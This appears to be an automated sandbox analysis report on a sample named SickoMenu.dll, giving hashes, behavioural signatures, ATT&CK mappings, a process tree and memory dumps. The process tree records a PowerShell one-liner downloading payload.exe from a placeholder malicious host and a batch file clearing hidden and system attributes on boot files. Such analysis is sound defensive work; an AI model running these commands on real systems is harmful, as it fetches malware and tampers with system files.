bfb935ebaa578680fc9b2b8fbc28fdedfb72464890ea79b16d9c3b24f0864b3c

Resubmissions

02/08/2026, 12:50

260802-p3bq5stbjg3

02/08/2026, 12:41

260802-pwq79atamd8

02/08/2026, 12:36

260802-ptasgsab423

Analysis

user interaction
yes
max time kernel
435s
max time network
391s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/08/2026, 12:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SickoMenu.dll
Size 3.0MB
Sample260802-pwq79atamd
SHA256 bfb935ebaa578680fc9b2b8fbc28fdedfb72464890ea79b16d9c3b24f0864b3c
MD5 5ef54efa38a2833d887f8ba64b16df4a
SHA1 a5d98cf9cedb54508adf12025e7cd00a0a0ca5de
SHA512 5a0669256537c720f1f62ec2817f27ad7b80d9c5e9ff88c3f5d246f62b70e71e90930853b70b5821ce820296450376180387f8b744deef2db776af69b0a0ec93
SSDEEP 49152:R07+DR6qmyKc/S+f3Z/E7P5kr//D80Go0mwOMCn895Gvl4wDV03K/3pOO8vd1IBs:q7s0qxd/hOD5kr2mbMCaq/30F
TLSH
T124E59D516E5CD837E28E06B9B42DB71F4C293D730B7585D7B3D0AAA925A00E39632F07
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
51	2576	powershell.exe
52	2576	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2576	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sicko-prev-log.txt	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\sicko-log.txt	rundll32.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\windows\win.ini	attrib.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3308	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-1 = "Microsoft Language Detection"	SearchIndexer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{3DBEE9A1-C471-4B95-BBCA-F39310064458} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000154ff45a7c22dd01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device	SearchFilterHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-172 = "Microsoft PowerPoint 97-2003 Slide Show"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-174 = "Microsoft PowerPoint Presentation"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht\OpenWithList	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{F81B1B56-7613-4EE4-BC05-1FAB5DE5C07E} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000adf76f5b7c22dd01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\{E0F158E1-CB04-11D0-BD4E-00A0C911CE86}\Default DirectSound Device	SearchFilterHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{8082C5E6-4C27-48EC-A809-B8E1122E8F97} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 010000000000000060ee295c7c22dd01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithList	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-126 = "Microsoft Word Macro-Enabled Template"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xml	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{C120DE80-FDE4-49F5-A713-E902EF062B8A} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000125d9c637c22dd01	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\System32\Windows.UI.Immersive.dll,-38304 = "Public Account Pictures"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Multimedia	SearchFilterHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\System32\wshext.dll,-4804 = "JavaScript File"	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{01BE4CFB-129A-452B-A209-F9D40B3B84A5} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 010000000000000050e4405d7c22dd01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9925 = "MP3 Format Sound"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\System32\acppage.dll,-6002 = "Windows Batch File"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-9 = "Microsoft Bengali to Latin Transliteration"	SearchIndexer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{1E589E9D-8A8D-46D9-A2F9-E6D4F8161EE9} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000d4e37b5b7c22dd01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	SearchFilterHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-131 = "Rich Text Format"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\regedit.exe,-309 = "Registration Entries"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml\OpenWithList	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{97E467B4-98C6-4F19-9588-161B7773D6F6} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000e27a03667c22dd01	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\system32\windows.storage.dll,-10152 = "File folder"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-7 = "Microsoft Devanagari to Latin Transliteration"	SearchIndexer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-8 = "Microsoft Malayalam to Latin Transliteration"	SearchIndexer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\System32\setupapi.dll,-2000 = "Setup Information"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	SearchFilterHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-184 = "Microsoft PowerPoint Macro-Enabled Design Template"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-142 = "Microsoft OneNote Table Of Contents"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.aiff\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-5 = "Microsoft Transliteration Engine"	SearchIndexer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-6 = "Microsoft Cyrillic to Latin Transliteration"	SearchIndexer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Common Files\system\wab32res.dll,-10100 = "Contacts"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-151 = "Outlook Data File"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-4 = "Microsoft Simplified Chinese to Traditional Chinese Transliteration"	SearchIndexer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{80009818-F38F-4AF1-87B5-EADAB9433E58} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000457dc5657c22dd01	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9923 = "Windows Media playlist"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.aiff	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\System32\ieframe.dll,-913 = "MHTML Document"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\System32\ieframe.dll,-912 = "HTML Document"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-116 = "Microsoft Excel Template"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.snd	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\system32\msinfo32.exe,-10001 = "System Information File"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.aifc\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\C:\Windows\system32,@elscore.dll,-10 = "Microsoft Hangul Decomposition Transliteration"	SearchIndexer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.asx\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-177 = "Microsoft PowerPoint Macro-Enabled Slide Show"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@C:\Windows\system32\cabview.dll,-20 = "Cabinet File"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.snd\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@windows.storage.dll,-34583 = "Saved Pictures"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf	SearchProtocolHost.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
2576	powershell.exe
2576	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: 33	1156	SearchIndexer.exe
Token: SeIncBasePriorityPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1156	SearchIndexer.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 3712	2024	rundll32.exe	85
PID 1156 wrote to memory of 5024	1156	SearchIndexer.exe	104
PID 1156 wrote to memory of 2836	1156	SearchIndexer.exe	105
PID 3376 wrote to memory of 1908	3376	cmd.exe	110
PID 1908 wrote to memory of 2576	1908	powershell.exe	118
PID 1156 wrote to memory of 3888	1156	SearchIndexer.exe	121
PID 1156 wrote to memory of 4544	1156	SearchIndexer.exe	122
PID 1156 wrote to memory of 312	1156	SearchIndexer.exe	126
PID 1156 wrote to memory of 628	1156	SearchIndexer.exe	128
PID 3308 wrote to memory of 2184	3308	cmd.exe	131
PID 3308 wrote to memory of 5044	3308	cmd.exe	132
PID 3308 wrote to memory of 2576	3308	cmd.exe	133
PID 3308 wrote to memory of 440	3308	cmd.exe	134

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2184	attrib.exe
5044	attrib.exe
2576	attrib.exe
440	attrib.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\SickoMenu.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\SickoMenu.dll,#1
  2⤵
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  PID:3712

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3836

C:\Windows\system32\SearchIndexer.exe
C:\Windows\system32\SearchIndexer.exe /Embedding
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Windows\system32\SearchProtocolHost.exe
  "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
  2⤵
  - Modifies data under HKEY_USERS
  PID:5024
- C:\Windows\system32\SearchFilterHost.exe
  "C:\Windows\system32\SearchFilterHost.exe" 0 800 804 812 8192 808 784
  2⤵
  - Modifies data under HKEY_USERS
  PID:2836
- C:\Windows\system32\SearchProtocolHost.exe
  "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
  2⤵
  - Modifies data under HKEY_USERS
  PID:3888
- C:\Windows\system32\SearchFilterHost.exe
  "C:\Windows\system32\SearchFilterHost.exe" 0 800 804 812 8192 808 784
  2⤵
  PID:4544
- C:\Windows\system32\SearchProtocolHost.exe
  "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
  2⤵
  PID:312
- C:\Windows\system32\SearchFilterHost.exe
  "C:\Windows\system32\SearchFilterHost.exe" 0 800 804 812 8192 808 784
  2⤵
  PID:628

C:\Windows\WinSxS\wow64_microsoft-windows-commandprompt_31bf3856ad364e35_10.0.19041.746_none_735abbdbad8c902f\cmd.exe
"C:\Windows\WinSxS\wow64_microsoft-windows-commandprompt_31bf3856ad364e35_10.0.19041.746_none_735abbdbad8c902f\cmd.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri http://malicious.site/payload.exe -OutFile payload.exe"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2576

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\.bat
1⤵
PID:5076

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\.bat" "
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Windows\system32\attrib.exe
  attrib -r -s -h c:\autoexec.bat
  2⤵
  - Views/modifies file attributes
  PID:2184
- C:\Windows\system32\attrib.exe
  attrib -r -s -h c:\boot.ini
  2⤵
  - Views/modifies file attributes
  PID:5044
- C:\Windows\system32\attrib.exe
  attrib -r -s -h c:\ntldr
  2⤵
  - Views/modifies file attributes
  PID:2576
- C:\Windows\system32\attrib.exe
  attrib -r -s -h c:\windows\win.ini
  2⤵
  - Drops file in Windows directory
  - Views/modifies file attributes
  PID:440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5
MD5 6195a91754effb4df74dbc72cdf4f7a6
SHA1 aba262f5726c6d77659fe0d3195e36a85046b427
SHA512 ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89
TLSH
T155316C303221B5D84D436F5309286AD5A3FF8749ABA89F5CB569231DCD2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 9b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd
MD5 3337d66209faa998d52d781d0ff2d804
SHA1 6594b85a70f998f79f43cdf1ca56137997534156
SHA512 8bbd14bd73111f7b55712f5d1e1b727e41db8e6e0c1243ee6809ff32b509e52dec7af34c064151fb5beccd59dda434a3f83abe987c561a25abfbb4cbcf9c7f1f
SSDEEP 1536:heYaC+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h8:8YaC+jH04tAHk5MrxyNhftflJdPYoFiA
TLSH
T1B2334093E9204E71E1A66F3EF15652227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_mr5iwz4x.ucj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mr5iwz4x.ucj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

.bat

Path C:\Users\Admin\Desktop\.bat
Size 209B
SHA256 134c4961498310157d4d8f086bc40e99a6161e99775bab8952f1bdbda39d9ac6
MD5 979a3b8299f2196a92f2d87fa3b8c419
SHA1 56ea6bdc3085317e7bb7e062ae272bd2c85bceb2
SHA512 2f781847dfc70ccc65d2bf064088fada7d866c4a5bf90652767ed1d7e185e344e9586d48c8ed9f50df28f39d262db4c8fd0ccc3c4d2604e02ebd7e4f0f292840
TLSH
T102D0C96D07C2F8F588746CDEC24E5F4CD4CFA1FD2F138D2003D220B188444274414A06
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1156-1-0x0000017DDC560000-0x0000017DDC570000-memory.dmp

Download

memory/1156-172-0x0000017DE62E0000-0x0000017DE69FD000-memory.dmp

Download

memory/1156-33-0x0000017DE4B50000-0x0000017DE4B58000-memory.dmp

Download

memory/1156-88-0x0000017DE8180000-0x0000017DE8188000-memory.dmp

Download

memory/1156-87-0x0000017DE62E0000-0x0000017DE69FD000-memory.dmp

Download

memory/1156-17-0x0000017DDC790000-0x0000017DDC7A0000-memory.dmp

Download

memory/1156-100-0x0000017DE81B0000-0x0000017DE81B8000-memory.dmp

Download

memory/1156-103-0x0000017DE81A0000-0x0000017DE81A1000-memory.dmp

Download

memory/1908-105-0x0000000005C40000-0x0000000005F94000-memory.dmp

Download

memory/1908-108-0x00000000060F0000-0x000000000610E000-memory.dmp

Download

memory/1908-109-0x0000000006130000-0x000000000617C000-memory.dmp

Download

memory/1908-110-0x0000000006650000-0x0000000006694000-memory.dmp

Download

memory/1908-111-0x00000000071F0000-0x0000000007266000-memory.dmp

Download

memory/1908-94-0x0000000005AD0000-0x0000000005B36000-memory.dmp

Download

memory/1908-113-0x0000000007290000-0x00000000072AA000-memory.dmp

Download

memory/1908-93-0x00000000051D0000-0x0000000005236000-memory.dmp

Download

memory/1908-92-0x0000000005120000-0x0000000005142000-memory.dmp

Download

memory/1908-91-0x00000000053A0000-0x00000000059C8000-memory.dmp

Download

memory/1908-90-0x00000000027D0000-0x0000000002806000-memory.dmp

Download

memory/1908-112-0x00000000078F0000-0x0000000007F6A000-memory.dmp

Download

memory/2836-43-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-85-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-64-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-62-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-68-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-67-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-66-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-65-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-61-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-60-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-59-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-69-0x000001F274E00000-0x000001F275470000-memory.dmp

Download

memory/2836-70-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-76-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-75-0x000001F273A40000-0x000001F273A50000-memory.dmp

Download

memory/2836-74-0x000001F273A40000-0x000001F273A50000-memory.dmp
